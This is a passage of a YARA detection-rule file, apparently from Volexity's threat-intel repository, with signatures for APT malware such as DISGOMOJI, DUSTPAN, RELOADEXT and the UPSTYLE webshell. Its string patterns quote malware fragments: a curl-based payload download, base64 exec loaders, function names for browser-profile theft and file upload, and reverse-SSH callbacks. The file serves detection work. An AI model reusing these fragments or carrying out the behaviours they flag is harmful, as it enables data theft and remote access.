		$ctrl17 = "CTRL_TEST_VPDN_ACCOUNT"
	condition:
		3 of ( $s* ) or 5 of ( $ctrl* )
}

rule VOLEXITY_Apt_Malware_Any_Reloadext_Plugin : STORMBAMBOO FILE MEMORY
{
	meta:
		description = "Detection for RELOADEXT, a Google Chrome extension malware."
		author = "threatintel@volexity.com"
		id = "6c6c8bee-2a13-5645-89ef-779f00264fd9"
		date = "2024-02-23"
		modified = "2024-08-02"
		reference = "TIB-20240227"
		source_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/2024/2024-08-02 StormBamboo/rules.yar#L4-L36"
		license_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/LICENSE.txt"
		logic_hash = "2b11f8fc5b6260ebf00bde83585cd7469709a4979ca579cdf065724bc15052fc"
		score = 75
		quality = 80
		tags = "STORMBAMBOO, FILE, MEMORY"
		hash1 = "9d0928b3cc21ee5e1f2868f692421165f46b5014a901636c2a2b32a4c500f761"
		os = "all"
		os_arch = "all"
		scan_context = "file,memory"
		severity = "critical"
		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
		rule_id = 10282
		version = 4
	strings:
		$man1 = "Reload page with Internet Explorer compatible mode."
		$man2 = "\"http://*/*\""
		$code1 = ";chrome["
		$code2 = "XMLHttpRequest(),_"
		$code3 = "0x400*0x400"
	condition:
		all of ( $man* ) or ( #code1 > 8 and #code2 >= 2 and #code3 >= 2 )
}

rule VOLEXITY_Apt_Malware_Macos_Reloadext_Installer : STORMBAMBOO FILE MEMORY
{
	meta:
		description = "Detect the RELOADEXT installer."
		author = "threatintel@volexity.com"
		id = "c65ea2b5-ab98-5693-92ea-05c0f1ea1e5b"
		date = "2024-02-23"
		modified = "2024-08-02"
		reference = "TIB-20240227"
		source_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/2024/2024-08-02 StormBamboo/rules.yar#L37-L62"
		license_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/LICENSE.txt"
		logic_hash = "8688796839202d95ded15e10262a7a7c7cbbae4a332b60305402e5984005d452"
		score = 75
		quality = 80
		tags = "STORMBAMBOO, FILE, MEMORY"
		hash1 = "07e3b067dc5e5de377ce4a5eff3ccd4e6a2f1d7a47c23fe06b1ededa7aed1ab3"
		os = "darwin"
		os_arch = "all"
		scan_context = "file,memory"
		severity = "critical"
		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
		rule_id = 10281
		version = 2
	strings:
		$str1 = "/CustomPlug1n/"
		$str2 = "Chrome NOT installed."
		$str3 = "-f force kill Chrome"
		$str4 = "/*} &&cp -rf ${"
	condition:
		3 of them
}

rule VOLEXITY_Apt_Malware_Win_Dustpan_Apihashes : STORMBAMBOO FILE
{
	meta:
		description = "Detects DUSTPAN malware using API hashes used to resolve functions at runtime."
		author = "threatintel@volexity.com"
		id = "ed275da4-cd95-5fa3-a568-e610fb405bb3"
		date = "2023-08-17"
		modified = "2024-08-02"
		reference = "https://github.com/volexity/threat-intel"
		source_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/2024/2024-08-02 StormBamboo/rules.yar#L171-L205"
		license_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/LICENSE.txt"
		logic_hash = "3edb66ade428c451c18aa152244f869f9f8c10e62ed942bf722b4d1cf1893e93"
		score = 75
		quality = 80
		tags = "STORMBAMBOO, FILE"
		hash1 = "b77bcfb036f5a6a3973fdd68f40c0bd0b19af1246688ca4b1f9db02f2055ef9d"
		os = "win"
		os_arch = "all"
		report1 = "MAR-20230818"
		report2 = "TIB-20231221"
		scan_context = "file"
		severity = "critical"
		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
		rule_id = 9591
		version = 3
	strings:
		$h1 = {9c 5b 9f 0b}
		$h2 = {4c 8f 3e 08}
		$h3 = {b4 aa f2 06}
		$h4 = {dc cb ca 09}
		$h5 = {d4 33 07 0e}
		$h6 = {27 89 d6 0a}
		$h7 = {b5 7d ae 09}
		$h8 = {4e 64 eb 0b}
		$h9 = {be 17 d9 08}
		$magic = "SMHM"
	condition:
		6 of ( $h* ) and $magic
}

rule VOLEXITY_Apt_Malware_Win_Pocostick_Jul23 : STORMBAMBOO FILE MEMORY
{
	meta:
		description = "Detects the July 2023 POCOSTICK variant. These strings are only visible in memory after several rounds of shellcode decryption."
		author = "threatintel@volexity.com"
		id = "9632a7fc-06da-58b4-b95c-b46aeb9dd41d"
		date = "2023-07-24"
		modified = "2024-08-02"
		reference = "TIB-20231221"
		source_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/2024/2024-08-02 StormBamboo/rules.yar#L206-L235"
		license_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/LICENSE.txt"
		logic_hash = "19487db733c7f793be2a1287df32a165e46f6af0e940b13b389f4d675b5100c4"
		score = 75
		quality = 80
		tags = "STORMBAMBOO, FILE, MEMORY"
		hash1 = "ec3e787c369ac4b28447e7cacc44d70a595e39d47f842bacb07d19b12cab6aad"
		os = "win"
		os_arch = "all"
		scan_context = "file,memory"
		severity = "critical"
		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
		rule_id = 9542
		version = 3
	strings:
		$str1 = "Folder PATH listing form volume" wide
		$str2 = "Volume serial number is 0000-1111" wide
		$str3 = "Type:Error" wide
		$str4 = "Type:Desktop" wide
		$str5 = "Type:Laptop" wide
		$str6 = "Type:Vitual" wide
		$str7 = ".unicode.tmp" wide
		$str8 = "EveryOne" wide
	condition:
		6 of them
}

rule VOLEXITY_Apt_Malware_Py_Dustpan_Pyloader : STORMBAMBOO FILE MEMORY
{
	meta:
		description = "Detects Python script used by KPlayer to update, modified by attackers to download a malicious payload."
		author = "threatintel@volexity.com"
		id = "446d2eef-c60a-50ed-9ff1-df86b6210dff"
		date = "2023-07-21"
		modified = "2024-08-02"
		reference = "TIB-20231221"
		source_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/2024/2024-08-02 StormBamboo/rules.yar#L236-L270"
		license_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/LICENSE.txt"
		logic_hash = "bb3a70dad28181534e27abbbd618165652c137264bfd3726ae4480c642493a3b"
		score = 75
		quality = 80
		tags = "STORMBAMBOO, FILE, MEMORY"
		os = "all"
		os_arch = "all"
		scan_context = "file,memory"
		severity = "critical"
		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
		rule_id = 9530
		version = 4
	strings:
		$s_1 = "def count_md5(src)"
		$s_2 = "urllib.request.urlretrieve(image_url,main)"
		$s_3 = "m1 != '4c8a326899272d2fe30e818181f6f67f'"
		$s_4 = "os.path.split(os.path.realpath(__file__))[0]"
		$s_5 = "r_v = os.system('curl '+ini_url+cc)"
		$s_6 = "b41ef5f591226a0d5adce99cb2e629d8"
		$s_7 = "1df495e7c85e59ad0de1b9e50912f8d0"
		$s_8 = "tasklist | findstr mediainfo.exe"
		$url_1 = "http://dl1.5kplayer.com/youtube/youtube_dl.png"
		$url_2 = "http://dl1.5kplayer.com/youtube/youtube.ini?fire="
		$path_1 = "C:\\\\ProgramData\\\\Digiarty\\\\mediainfo.exe"
	condition:
		3 of ( $s_* ) or any of ( $url_* ) or $path_1
}

rule VOLEXITY_Apt_Malware_Linux_Disgomoji_Modules : TRANSPARENTJASMINE FILE MEMORY
{
	meta:
		description = "Detects DISGOMOJI modules using strings in the ELF."
		author = "threatintel@volexity.com"
		id = "b9e4ecdc-9b02-546f-9b79-947cb6b1f99a"
		date = "2024-02-22"
		modified = "2024-07-05"
		reference = "TIB-20240229"
		source_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/2024/2024-06-13 DISGOMOJI/indicators/rules.yar#L1-L24"
		license_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/LICENSE.txt"
		logic_hash = "7880288e3230b688b780bdfbac2b0761fd7831b7df233672c2242c21a86e1297"
		score = 75
		quality = 80
		tags = "TRANSPARENTJASMINE, FILE, MEMORY"
		hash1 = "2abaae4f6794131108adf5b42e09ee5ce24769431a0e154feabe6052cfe70bf3"
		os = "linux"
		os_arch = "all"
		scan_context = "file,memory"
		severity = "critical"
		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
		rule_id = 10270
		version = 6
	strings:
		$s1 = "discord-c2/test/main/finalizing/Deliveries/ob_Delivery.go" wide ascii
		$s2 = "discord-c2/test/main/finalizing/WAN_Conf.go" wide ascii
	condition:
		any of them
}

rule VOLEXITY_Apt_Malware_Linux_Disgomoji_Loader : TRANSPARENTJASMINE FILE MEMORY
{
	meta:
		description = "Detects DISGOMOJI loader using strings in the ELF."
		author = "threatintel@volexity.com"
		id = "6d7848db-f1a5-5ccc-977a-7597b966a31c"
		date = "2024-02-22"
		modified = "2024-07-05"
		reference = "TIB-20240229"
		source_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/2024/2024-06-13 DISGOMOJI/indicators/rules.yar#L25-L47"
		license_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/LICENSE.txt"
		logic_hash = "d9be4846bab5fffcfd60eaec377443819404f30ec088905c2ee26bd3b7525832"
		score = 75
		quality = 80
		tags = "TRANSPARENTJASMINE, FILE, MEMORY"
		hash1 = "51a372fee89f885741515fa6fdf0ebce860f98145c9883f2e3e35c0fe4432885"
		os = "linux"
		os_arch = "all"
		scan_context = "file,memory"
		severity = "critical"
		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
		rule_id = 10269
		version = 7
	strings:
		$s1 = "discord-c2/test/main/delievery.go" wide ascii
	condition:
		$s1
}

rule VOLEXITY_Apt_Malware_Linux_Disgomoji_Debug_String : TRANSPARENTJASMINE FILE MEMORY
{
	meta:
		description = "Detects DISGOMOJI using strings in the ELF."
		author = "threatintel@volexity.com"
		id = "eed2468f-7e50-5f3e-946a-277c10984823"
		date = "2024-02-22"
		modified = "2024-11-27"
		reference = "TIB-20240229"
		source_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/2024/2024-06-13 DISGOMOJI/indicators/rules.yar#L48-L71"
		license_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/LICENSE.txt"
		logic_hash = "6bb130eead39bd8128983e0f2e76cfeff8865ce8ed3cb73b132ed32d68fc0db0"
		score = 75
		quality = 80
		tags = "TRANSPARENTJASMINE, FILE, MEMORY"
		hash1 = "d9f29a626857fa251393f056e454dfc02de53288ebe89a282bad38d03f614529"
		os = "linux"
		os_arch = "all"
		scan_context = "file,memory"
		severity = "critical"
		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
		rule_id = 10268
		version = 9
	strings:
		$s1 = "discord-c2/test/main/payload.go" wide ascii
		$s2 = "Desktop/Golang_Dev/Discord"
	condition:
		any of them
}

rule VOLEXITY_Apt_Malware_Linux_Disgomoji_2 : TRANSPARENTJASMINE FILE MEMORY
{
	meta:
		description = "Detects DISGOMOJI malware using strings in the ELF."
		author = "threatintel@volexity.com"
		id = "609beb47-5e93-5f69-b89d-2cf62f20851a"
		date = "2024-02-22"
		modified = "2024-07-05"
		reference = "TIB-20240229"
		source_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/2024/2024-06-13 DISGOMOJI/indicators/rules.yar#L72-L103"
		license_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/LICENSE.txt"
		logic_hash = "e03a774cca2946c1becdbd775ef465033dae089d578ea18a4f43fd7bdae9168e"
		score = 75
		quality = 80
		tags = "TRANSPARENTJASMINE, FILE, MEMORY"
		hash1 = "d9f29a626857fa251393f056e454dfc02de53288ebe89a282bad38d03f614529"
		os = "linux"
		os_arch = "all"
		scan_context = "file,memory"
		severity = "critical"
		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
		rule_id = 10266
		version = 9
	strings:
		$s1 = "downloadFileFromURL" wide ascii
		$s2 = "createCronJob" wide ascii
		$s3 = "findAndSendFiles" wide ascii
		$s4 = "updateLogFile" wide ascii
		$s5 = "handleZipFile" wide ascii
		$s6 = "takeScreenshot" wide ascii
		$s7 = "zipFirefoxProfile" wide ascii
		$s8 = "zipDirectoryWithParts" wide ascii
		$s9 = "uploadAndSendToOshi" wide ascii
		$s10 = "uploadAndSendToLeft" wide ascii
	condition:
		7 of them
}

rule VOLEXITY_Apt_Malware_Linux_Disgomoji_1 : TRANSPARENTJASMINE FILE MEMORY
{
	meta:
		description = "Detects GOMOJI malware using strings in the ELF."
		author = "threatintel@volexity.com"
		id = "f6643e9a-ca41-57e0-9fce-571d340f1cfe"
		date = "2024-02-22"
		modified = "2024-07-05"
		reference = "TIB-20240229"
		source_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/2024/2024-06-13 DISGOMOJI/indicators/rules.yar#L104-L131"
		license_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/LICENSE.txt"
		logic_hash = "dd3535079881ae9cfe25c129803668cb595be89b7f62eb82af19cc3839f92b6d"
		score = 75
		quality = 80
		tags = "TRANSPARENTJASMINE, FILE, MEMORY"
		hash1 = "d9f29a626857fa251393f056e454dfc02de53288ebe89a282bad38d03f614529"
		os = "linux"
		os_arch = "all"
		scan_context = "file,memory"
		severity = "critical"
		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
		rule_id = 10265
		version = 7
	strings:
		$s1 = "Session *%s* opened!" wide ascii
		$s2 = "uevent_seqnum.sh" wide ascii
		$s3 = "Error downloading shell script: %v" wide ascii
		$s4 = "Error setting execute permissions: %v" wide ascii
		$s5 = "Error executing shell script: %v" wide ascii
		$s6 = "Error creating Discord session" wide ascii
	condition:
		4 of them
}

rule VOLEXITY_Apt_Malware_Linux_Disgomoji_Bogus_Strings : TRANSPARENTJASMINE FILE
{
	meta:
		description = "Detects the DISGOMOJI malware using bogus strings introduced in the newer version."
		author = "threatintel@volexity.com"
		id = "ecff8d3c-d4fe-5b6d-a227-6ff531cf8e2b"
		date = "2024-03-14"
		modified = "2024-07-05"
		reference = "TIB-20240318"
		source_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/2024/2024-06-13 DISGOMOJI/indicators/rules.yar#L132-L159"
		license_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/LICENSE.txt"
		logic_hash = "0d8a2b371ffb182e60a8cc0cc500d1a9f906718a55f23f35f6c12f7faabbe971"
		score = 75
		quality = 80
		tags = "TRANSPARENTJASMINE, FILE"
		hash1 = "8c8ef2d850bd9c987604e82571706e11612946122c6ab089bd54440c0113968e"
		os = "linux"
		os_arch = "all"
		scan_context = "file"
		severity = "critical"
		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
		rule_id = 10341
		version = 5
	strings:
		$s1 = "Graphics Display Rendering" wide ascii
		$s2 = "Error fetching Repository Key: %v" wide ascii
		$s3 = "Error reading Repository Key: %v" wide ascii
		$s4 = "Error fetching dpkg: %v" wide ascii
		$s5 = "GNU Drivers Latest version v1.4.2" wide ascii
		$s6 = "ps_output.txt" wide ascii
	condition:
		all of them
}

rule VOLEXITY_Apt_Malware_Linux_Disgomoji_Script_Uevent_Seqnum : TRANSPARENTJASMINE FILE
{
	meta:
		description = "Detects a script deployed as part of DISGOMOJI malware chain."
		author = "threatintel@volexity.com"
		id = "9df61164-6a92-5042-ba4f-64dc7e998283"
		date = "2024-03-07"
		modified = "2024-07-05"
		reference = "TIB-20240318"
		source_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/2024/2024-06-13 DISGOMOJI/indicators/rules.yar#L160-L187"
		license_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/LICENSE.txt"
		logic_hash = "e390e83d9fc15499c9f32ad47d1c526273105602bda7b3532720b0a3f6abc835"
		score = 75
		quality = 80
		tags = "TRANSPARENTJASMINE, FILE"
		hash1 = "98b24fb7aaaece7556aea2269b4e908dd79ff332ddaa5111caec49123840f364"
		os = "linux"
		os_arch = "all"
		scan_context = "file"
		severity = "critical"
		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
		rule_id = 10314
		version = 6
	strings:
		$s1 = "USB_DIR=\"/media/$USER\"" wide ascii
		$s2 = "RECORD_FILE=\"record.txt\"" wide ascii
		$s3 = "copy_files()" wide ascii
		$s4 = "Check for connected USB drives" wide ascii
		$s5 = "Check if filename already exists in record.txt" wide ascii
		$s6 = "Function to copy files from USB drive to destination folder" wide ascii
	condition:
		3 of them
}

rule VOLEXITY_Apt_Malware_Linux_Disgomoji_Script_Lan_Conf : TRANSPARENTJASMINE FILE
{
	meta:
		description = "Detects a script deployed as part of DISGOMOJI malware chain."
		author = "threatintel@volexity.com"
		id = "b338b3cf-22ce-5767-bdea-503e883bc84b"
		date = "2024-03-07"
		modified = "2024-07-05"
		reference = "TIB-20240318"
		source_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/2024/2024-06-13 DISGOMOJI/indicators/rules.yar#L188-L215"
		license_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/LICENSE.txt"
		logic_hash = "2a19d5cff7adc9b1b92538a5df4e3cadea694f925f65080f5093fc5425e840f4"
		score = 75
		quality = 80
		tags = "TRANSPARENTJASMINE, FILE"
		hash1 = "0b5cf9bd917f0af03dd694ff4ce39b0b34a97c9f41b87feac1dc884a684f60ef"
		os = "linux"
		os_arch = "all"
		scan_context = "file"
		severity = "critical"
		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
		rule_id = 10312
		version = 7
	strings:
		$s1 = "add_lan_conf_cron_if_not_exists" wide ascii
		$s2 = "download_if_not_exists" wide ascii
		$s3 = "add_cron_if_not_exists" wide ascii
		$s4 = "uevent_seqnum.sh" wide ascii
		$s5 = "$HOME/.x86_64-linux-gnu" wide ascii
		$s6 = "lanConfScriptPath" wide ascii
	condition:
		4 of them
}

rule VOLEXITY_Malware_Golang_Discordc2_Bmdyy_1 : FILE MEMORY
{
	meta:
		description = "Detects a opensource malware available on github using strings in the binary. The DISGOMOJI malware family used by TransparentJasmine is based on this malware."
		author = "threatintel@volexity.com"
		id = "6816d264-4311-5e90-948b-2e27cdf0b720"
		date = "2024-03-28"
		modified = "2024-07-05"
		reference = "TIB-20240229"
		source_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/2024/2024-06-13 DISGOMOJI/indicators/rules.yar#L216-L243"
		license_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/LICENSE.txt"
		logic_hash = "22b3e5109d0738552fbc310344b2651ab3297e324bc883d5332c1e8a7a1df29b"
		score = 75
		quality = 80
		tags = "FILE, MEMORY"
		hash1 = "de32e96d1f151cc787841c12fad88d0a2276a93d202fc19f93631462512fffaf"
		os = "all"
		os_arch = "all"
		scan_context = "file,memory"
		severity = "high"
		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
		rule_id = 10390
		version = 3
	strings:
		$s1 = "File is bigger than 8MB" wide ascii
		$s2 = "Uploaded file to" wide ascii
		$s3 = "sess-%d" wide ascii
		$s4 = "Session *%s* opened" wide ascii
		$s5 = "%s%d_%dx%d.png" wide ascii
	condition:
		4 of them
}

rule VOLEXITY_Malware_Golang_Discordc2_Bmdyy : FILE MEMORY
{
	meta:
		description = "Detects a opensource malware available on github using strings in the binary. DISGOMOJI used by TransparentJasmine is based on this malware."
		author = "threatintel@volexity.com"
		id = "1ddbf476-ba2d-5cbb-ad95-38e0ae8db71b"
		date = "2024-02-22"
		modified = "2024-07-05"
		reference = "https://github.com/bmdyy/discord-c2"
		source_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/2024/2024-06-13 DISGOMOJI/indicators/rules.yar#L244-L267"
		license_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/LICENSE.txt"
		logic_hash = "38b860a43b9937351f74b01983888f18ad101cbe66560feb7455d46b713eba0f"
		score = 75
		quality = 80
		tags = "FILE, MEMORY"
		hash1 = "d9f29a626857fa251393f056e454dfc02de53288ebe89a282bad38d03f614529"
		os = "all"
		os_arch = "all"
		scan_context = "file,memory"
		severity = "critical"
		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
		rule_id = 10264
		version = 12
	strings:
		$s1 = "**IP**: %s\n**User**: %s\n**Hostname**: %s\n**OS**: %s\n**CWD**" wide ascii
	condition:
		$s1
}

rule VOLEXITY_Apt_Malware_Py_Upstyle : UTA0218 FILE MEMORY
{
	meta:
		description = "Detect the UPSTYLE webshell."
		author = "threatintel@volexity.com"
		id = "45726f35-8b3e-5095-b145-9e7f6da6838b"
		date = "2024-04-11"
		modified = "2024-04-12"
		reference = "TIB-20240412"
		source_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/2024/2024-04-12 Palo Alto Networks GlobalProtect/indicators/rules.yar#L1-L34"
		license_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/LICENSE.txt"
		logic_hash = "51923600b23d23f4ce29eac7f5ab9f7e1ddb45bed5f6727ddec4dcb75872e473"
		score = 75
		quality = 80
		tags = "UTA0218, FILE, MEMORY"
		hash1 = "3de2a4392b8715bad070b2ae12243f166ead37830f7c6d24e778985927f9caac"
		hash2 = "0d59d7bddac6c22230187ef6cf7fa22bca93759edc6f9127c41dc28a2cea19d8"
		hash3 = "4dd4bd027f060f325bf6a90d01bfcf4e7751a3775ad0246beacc6eb2bad5ec6f"
		os = "linux"
		os_arch = "all"
		scan_context = "file,memory"
		severity = "critical"
		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
		rule_id = 10429
		version = 2
	strings:
		$stage1_str1 = "/opt/pancfg/mgmt/licenses/PA_VM"
		$stage1_str2 = "exec(base64."
		$stage2_str1 = "signal.signal(signal.SIGTERM,stop)"
		$stage2_str2 = "exec(base64."
		$stage3_str1 = "write(\"/*\"+output+\"*/\")"
		$stage3_str2 = "SHELL_PATTERN"
	condition:
		all of ( $stage1* ) or all of ( $stage2* ) or all of ( $stage3* )
}

rule VOLEXITY_Hacktool_Golang_Reversessh_Fahrj : FILE MEMORY
{
	meta:
		description = "Detects a reverse SSH utility available on GitHub. Attackers may use this tool or similar tools in post-exploitation activity."
		author = "threatintel@volexity.com"
		id = "332e323f-cb16-5aa2-8b66-f3d6d50d94f2"
		date = "2024-04-10"
		modified = "2024-04-12"
		reference = "TIB-20240412"
		source_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/2024/2024-04-12 Palo Alto Networks GlobalProtect/indicators/rules.yar#L82-L116"
		license_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/LICENSE.txt"
		logic_hash = "38b40cc7fc1e601da2c7a825f1c2eff209093875a5829ddd2f4c5ad438d660f8"
		score = 75
		quality = 80
		tags = "FILE, MEMORY"
		hash1 = "161fd76c83e557269bee39a57baa2ccbbac679f59d9adff1e1b73b0f4bb277a6"
		os = "all"
		os_arch = "all"
		scan_context = "file,memory"
		severity = "critical"
		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
		rule_id = 10423
		version = 5
	strings:
		$fun_1 = "createLocalPortForwardingCallback"
		$fun_2 = "createReversePortForwardingCallback"
		$fun_3 = "createPasswordHandler"
		$fun_4 = "createPublicKeyHandler"
		$fun_5 = "createSFTPHandler"
		$fun_6 = "dialHomeAndListen"
		$fun_7 = "createExtraInfoHandler"
		$fun_8 = "createSSHSessionHandler"
		$fun_9 = "createReversePortForwardingCallback"
		$proj_1 = "github.com/Fahrj/reverse-ssh"
	condition:
		any of ( $proj_* ) or 4 of ( $fun_* )
}

rule VOLEXITY_Apt_Malware_Py_Bluelight_Ldr : INKYPINE FILE
{
	meta:
		description = "Python Loader used to execute the BLUELIGHT malware family."
		author = "threatintel@volexity.com"
		id = "db32b752-eba4-52a6-80b6-d1d394660453"
		date = "2021-06-22"
		modified = "2025-02-18"
		reference = "https://www.volexity.com/blog/2021/08/24/north-korean-bluelight-special-inkysquid-deploys-rokrat/"
		source_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/2021/2021-08-24 - InkySquid Part 2/indicators/yara.yar#L33-L61"
		license_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/LICENSE.txt"
		logic_hash = "6987f5903561da8d4fa32c8d824593f601a49e13edfa2d617952d57ba3444f76"
		score = 75
		quality = 80
		tags = "INKYPINE, FILE"
		hash1 = "80269413be6ad51b8b19631b2f5559c9572842e789bbce031babe6e879d2e120"
		os = "win"
		os_arch = "all"
		scan_context = "file"
		severity = "high"
		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
		rule_id = 5600
		version = 6
	strings:
		$s1 = "\"\".join(chr(ord(" ascii
		$s2 = "import ctypes" ascii
		$s3 = "ctypes.CFUNCTYPE(ctypes.c_int)" ascii
		$s4 = "ctypes.memmove" ascii
		$magic = "writelines(\"python ended\")" ascii
	condition:
		all of ( $s* ) or $magic
}

rule VOLEXITY_Apt_Malware_Win_Decrok : INKYPINE FILE MEMORY
{
	meta:
		description = "The DECROK malware family, which uses the victim's hostname to decrypt and execute an embedded payload."
		author = "threatintel@volexity.com"
		id = "46be1793-6419-54fe-a78b-5d087e02626e"
		date = "2021-06-23"
		modified = "2023-09-28"
		reference = "https://github.com/volexity/threat-intel"
		source_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/2021/2021-08-24 - InkySquid Part 2/indicators/yara.yar#L62-L90"
		license_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/LICENSE.txt"
		hash = "6a452d088d60113f623b852f33f8f9acf0d4197af29781f889613fed38f57855"
		logic_hash = "a551700943d5abc95af00fc4fefd416ace8d59037852c6bc5caf1d6bd09afd63"
		score = 75
		quality = 80
		tags = "INKYPINE, FILE, MEMORY"
		os = "win"
		os_arch = "x86"
		scan_context = "file,memory"
		severity = "critical"
		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
		rule_id = 5606
		version = 4
	strings:
		$v1 = {C7 ?? ?? ?? 01 23 45 67 [2-20] C7 ?? ?? ?? 89 AB CD EF C7 ?? ?? ?? FE DC BA 98}
		$av1 = "Select * From AntiVirusProduct" wide
		$av2 = "root\\SecurityCenter2" wide
		$func1 = "CreateThread"
		$format = "%02x"
	condition:
		all of them and $func1 in ( @format .. @format + 10 )
}

rule VOLEXITY_Apt_Malware_Win_Rokload : INKYPINE FILE
{
	meta:
		description = "A shellcode loader used to decrypt and run an embedded executable."
		author = "threatintel@volexity.com"
		id = "229dbf3c-1538-5ecd-b5f8-8c9a9c81c515"
		date = "2021-06-23"
		modified = "2025-05-21"
		reference = "https://github.com/volexity/threat-intel"
		source_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/2021/2021-08-24 - InkySquid Part 2/indicators/yara.yar#L91-L112"
		license_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/LICENSE.txt"
		hash = "85cd5c3bb028fe6931130ccd5d0b0c535c01ce2bcda660a3b72581a1a5382904"
		logic_hash = "8d65d32fd5bc055ca0e3831d3db88299e7c99f8547a170d3c53ec2c4001496a3"
		score = 75
		quality = 80
		tags = "INKYPINE, FILE"
		os = "win"
		os_arch = "x64"
		scan_context = "file"
		severity = "high"
		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
		rule_id = 5603
		version = 4
	strings:
		$bytes00 = { 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? 57 41 54 41 55 41 56 41 57 48 ?? ?? ?? b9 ?? ?? ?? ?? 33 ff e8 ?? ?? ?? ?? b9 ?? ?? ?? ?? 4c 8b e8 e8 ?? ?? ?? ?? 4c 8b f0 41 ff d6 b9 ?? ?? ?? ?? 44 8b f8 e8 ?? ?? ?? ?? 4c 8b e0 e8 ?? ?? ?? ?? 48 }
	condition:
		$bytes00 at 0
}

rule VOLEXITY_Webshell_Aspx_Regeorgtunnel : FILE MEMORY
{
	meta:
		description = "A variation of the reGeorgtunnel open-source webshell."
		author = "threatintel@volexity.com"
		id = "b8aa27c9-a28a-5051-8f81-1184f28842ed"
		date = "2021-03-02"
		modified = "2024-10-18"
		reference = "https://github.com/sensepost/reGeorg/blob/master/tunnel.aspx"
